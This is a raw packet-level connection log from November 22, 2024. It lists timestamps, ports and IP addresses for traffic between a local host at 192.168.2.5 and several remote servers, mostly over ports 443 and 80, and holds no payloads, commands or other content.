Nov 22, 2024 23:06:39.733129978 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.769498110 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.769515991 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.769615889 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.769648075 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.770456076 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.770520926 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.770601988 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.774018049 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.774079084 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.774296045 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.774313927 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.774347067 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.774981976 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.775005102 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.994335890 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:39.994955063 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:39.994972944 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:39.996087074 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:39.996136904 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:39.998020887 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:39.998096943 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:39.998620033 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:39.998630047 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:39.999712944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.999918938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.999933958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.999948978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.000010014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.000044107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.000737906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.000849962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.000896931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.001497030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.001640081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.001833916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.001894951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.002254009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.002435923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.002614975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.002665997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.003035069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.003082991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.003509045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.003526926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.003626108 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.043706894 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:40.043764114 CET	443	49874	104.126.116.98	192.168.2.5
Nov 22, 2024 23:06:40.043946981 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:40.044460058 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.044701099 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:40.044918060 CET	49874	443	192.168.2.5	104.126.116.98
Nov 22, 2024 23:06:40.044939995 CET	443	49874	104.126.116.98	192.168.2.5
Nov 22, 2024 23:06:40.045192957 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.045217037 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.046297073 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.046380997 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.047532082 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.047615051 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.047735929 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.047735929 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.047765970 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.049902916 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.050077915 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.050251961 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.050528049 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.050545931 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.050559998 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.050565004 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.053488016 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.053510904 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.053670883 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.053898096 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.053910971 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.090367079 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.090379000 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.119416952 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.119493008 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.120094061 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.120475054 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.120522022 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.120559931 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.120578051 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.123789072 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.123816967 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.123919010 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.124181032 CET	49876	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.124195099 CET	443	49876	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.127055883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.127147913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.127499104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.127551079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.127551079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.127609015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.127856016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.128395081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.128458977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.128611088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.128664017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.129196882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.129218102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.129260063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.129275084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.129991055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.130033970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.130074024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.130101919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.130705118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.131022930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.131103039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.131531954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.131602049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.131890059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.132335901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.132350922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.132395983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.132431030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.133145094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.133301973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.133379936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.133539915 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.133802891 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.133815050 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.133972883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.134109974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.134162903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.134757042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.134824991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.134888887 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.134946108 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.135150909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.135200024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.135488033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.135549068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.136028051 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.136090994 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.136218071 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.138086081 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.141345024 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:40.141900063 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:40.141921043 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:40.142971992 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:40.142976046 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:40.143016100 CET	49858	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:40.143023014 CET	443	49858	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:40.147005081 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.147075891 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.147161961 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.147552013 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.147563934 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.147573948 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.147579908 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.150631905 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.150662899 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.150933027 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.151277065 CET	49877	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.151292086 CET	443	49877	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.183341026 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.183970928 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.184015036 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.184021950 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.184043884 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.184103966 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.184643030 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.184649944 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.184674978 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.184679031 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.185611963 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.185704947 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.185810089 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.185877085 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.185895920 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.187284946 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.187338114 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.187419891 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.187561035 CET	49878	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.187577963 CET	443	49878	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.187947035 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.187977076 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.188043118 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.188162088 CET	49879	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:40.188179016 CET	443	49879	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:40.194116116 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.194371939 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.194382906 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.194844961 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.195146084 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.195229053 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.195281982 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.229760885 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.239325047 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.241596937 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.241789103 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.241846085 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.241854906 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.241965055 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.241983891 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.242909908 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.242963076 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.243045092 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.243098974 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.243274927 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.243349075 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.243854046 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.243928909 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.244180918 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.244189024 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.244260073 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.244266987 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.246454000 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.246747971 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.246948004 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.246964931 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.248143911 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.248492002 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.248579979 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.248622894 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.249895096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.249908924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.249921083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.249934912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.249954939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.249995947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.250412941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.250484943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.250611067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.250672102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.251166105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.251178026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.251219988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.251236916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.251939058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.252002954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.252087116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.252140045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.252621889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.252670050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.252962112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.253010988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.253523111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.253567934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.253715992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.253803015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.254463911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.254477978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.254511118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.254540920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.255255938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.255266905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.255320072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.255841017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.255851984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.255907059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.255922079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.256197929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.256244898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.256711006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.256759882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.257039070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.257088900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.257314920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.257365942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.257849932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.257899046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.258497953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.258625031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.258712053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.258773088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.259027004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.259079933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.259460926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.259506941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.260305882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.260318041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.260330915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.260380983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.260411024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.261094093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.261147022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.261416912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.261466026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.261883974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.262068987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.262114048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.262674093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.262741089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.262778044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.262819052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.263509989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.263530016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.263572931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.264332056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.264344931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.264383078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.265105009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.265228987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.265654087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.265701056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.265831947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.265882015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.287426949 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.287647009 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.287682056 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.288722038 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.288789034 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.289067984 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.289129019 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.289207935 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.291328907 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.293026924 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.293107986 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.293143034 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.331341982 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.339238882 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.339272022 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.374711037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.374779940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.374818087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.374849081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.374926090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.375021935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.375103951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.375163078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.375705004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.375866890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.376125097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.376180887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.376507044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.376557112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.376636982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.376677990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.377338886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.377391100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.378051043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.378098965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.378149986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.378194094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.378319025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.378371954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.378976107 CET	80	49762	185.215.113.206	192.168.2.5
